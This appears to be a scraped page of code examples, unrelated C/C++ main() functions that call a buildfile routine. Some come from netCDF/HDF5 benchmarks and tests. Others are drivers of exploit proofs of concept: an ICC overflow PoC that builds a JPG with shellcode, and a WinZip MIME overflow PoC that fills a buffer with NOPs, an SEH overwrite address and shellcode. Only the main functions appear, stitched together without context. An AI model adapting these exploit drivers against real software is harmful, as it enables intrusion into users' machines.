int main(){
     printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
     buildfile(VULNF);
     print("DONE!"); 
      getchar();
      return 0;
     }
 int main(){
      banner();
      shellprint();
      buildfile(VULNF);
          print("Done!");
          //sleep()
          getchar();
           return 0;
     }
Example #3
0
int
main(int argc, char **argv)
{
   size_t num_atts = 1;
   char file_name[NC_MAX_NAME + 1];
   float tot_nc4, tot_hdf5;
   int factor;
   int r, s, num_vars, do_inq;

   for (do_inq = 0; do_inq < NUM_INQ_TESTS; do_inq++)
   {
      for (num_vars = 0; num_vars <= NUM_VARS; num_vars++)
      {
         /* Reset. */
         num_atts = 1;

         factor = FACTOR;

         printf("*** %s %s\n", num_vars ? "variable attributes" : "global attributes",
                do_inq ? "with inq" : "");
         printf("Number of Attributes\tHDF5 Open Time (s)\tNetcdf4 Open Time (s)\n");
         for (s = 0; s < NUM_STEPS; s++)
         {
            tot_nc4 = 0;
            tot_hdf5 = 0;
            num_atts += factor * s;

            for (r = 0; r < NUM_RUNS; r++)
            {
               long long nc4_open_time;
               long long hdf5_open_time;

               /* Determine file name. */
               sprintf(file_name, "%s_%d_%d_%d.nc", TEST, num_vars, s, r);

               if (buildfile(num_vars, num_atts, ATT_LEN, file_name)) ERR;
               if (readfile(file_name, &nc4_open_time, do_inq, num_vars)) ERR;
               if (readfile_hdf5(file_name, &hdf5_open_time, do_inq, num_vars)) ERR;
               tot_nc4 += nc4_open_time;
               tot_hdf5 += hdf5_open_time;
            }

            /* Print average results to the millisec */
            printf("%ld\t%g\t%g\n", num_atts, tot_hdf5/((float)NUM_RUNS * 1000000),
                   tot_nc4/((float)NUM_RUNS * 1000000));
         }
      }
   } /* next do_inq */
   SUMMARIZE_ERR;
   FINAL_RESULTS;
}
int main()
{
  std::string testfname = "test.h5";

  buildfile(testfname);
  //At end it should destruct it right?

  loadfile(testfname);

  
  //auto a = col.matrix_names_from_file();
  
  //Close it and reload the file? First run it.
}
Example #5
0
int main(int argc, char *argv[]) 
{
	int i=0, t=TARGET;

	if (argc==2) { t=atoi(argv[1]); }

	get_bytes(targets[t-1].jmpADD);

	printf("\nICC Overflow PoC, By Snooq [[email protected]]\n\n");

	printf("-> Generating 'jpg' file for target #%d...\n",t);

	filladdr();
	fillshellcode();
	buildfile();

	return 0;

}
Example #6
0
int main(int argc, char *argv[]) 
{
	int i=0, t=TARGET;

	if (argc==2) { t=atoi(argv[1]); }

	where=targets[t-1].topSEH;
	what=targets[t-1].jmpADD;

	printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [[email protected]]\n\n");

	memset(buff,NOP,BSIZE);
	printf("-> Generating 'uue' file for target #%d...\n",t);
	memcpy(buff,header,HSIZE);
	filladdr();
	memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
	buildfile();

	return 0;

}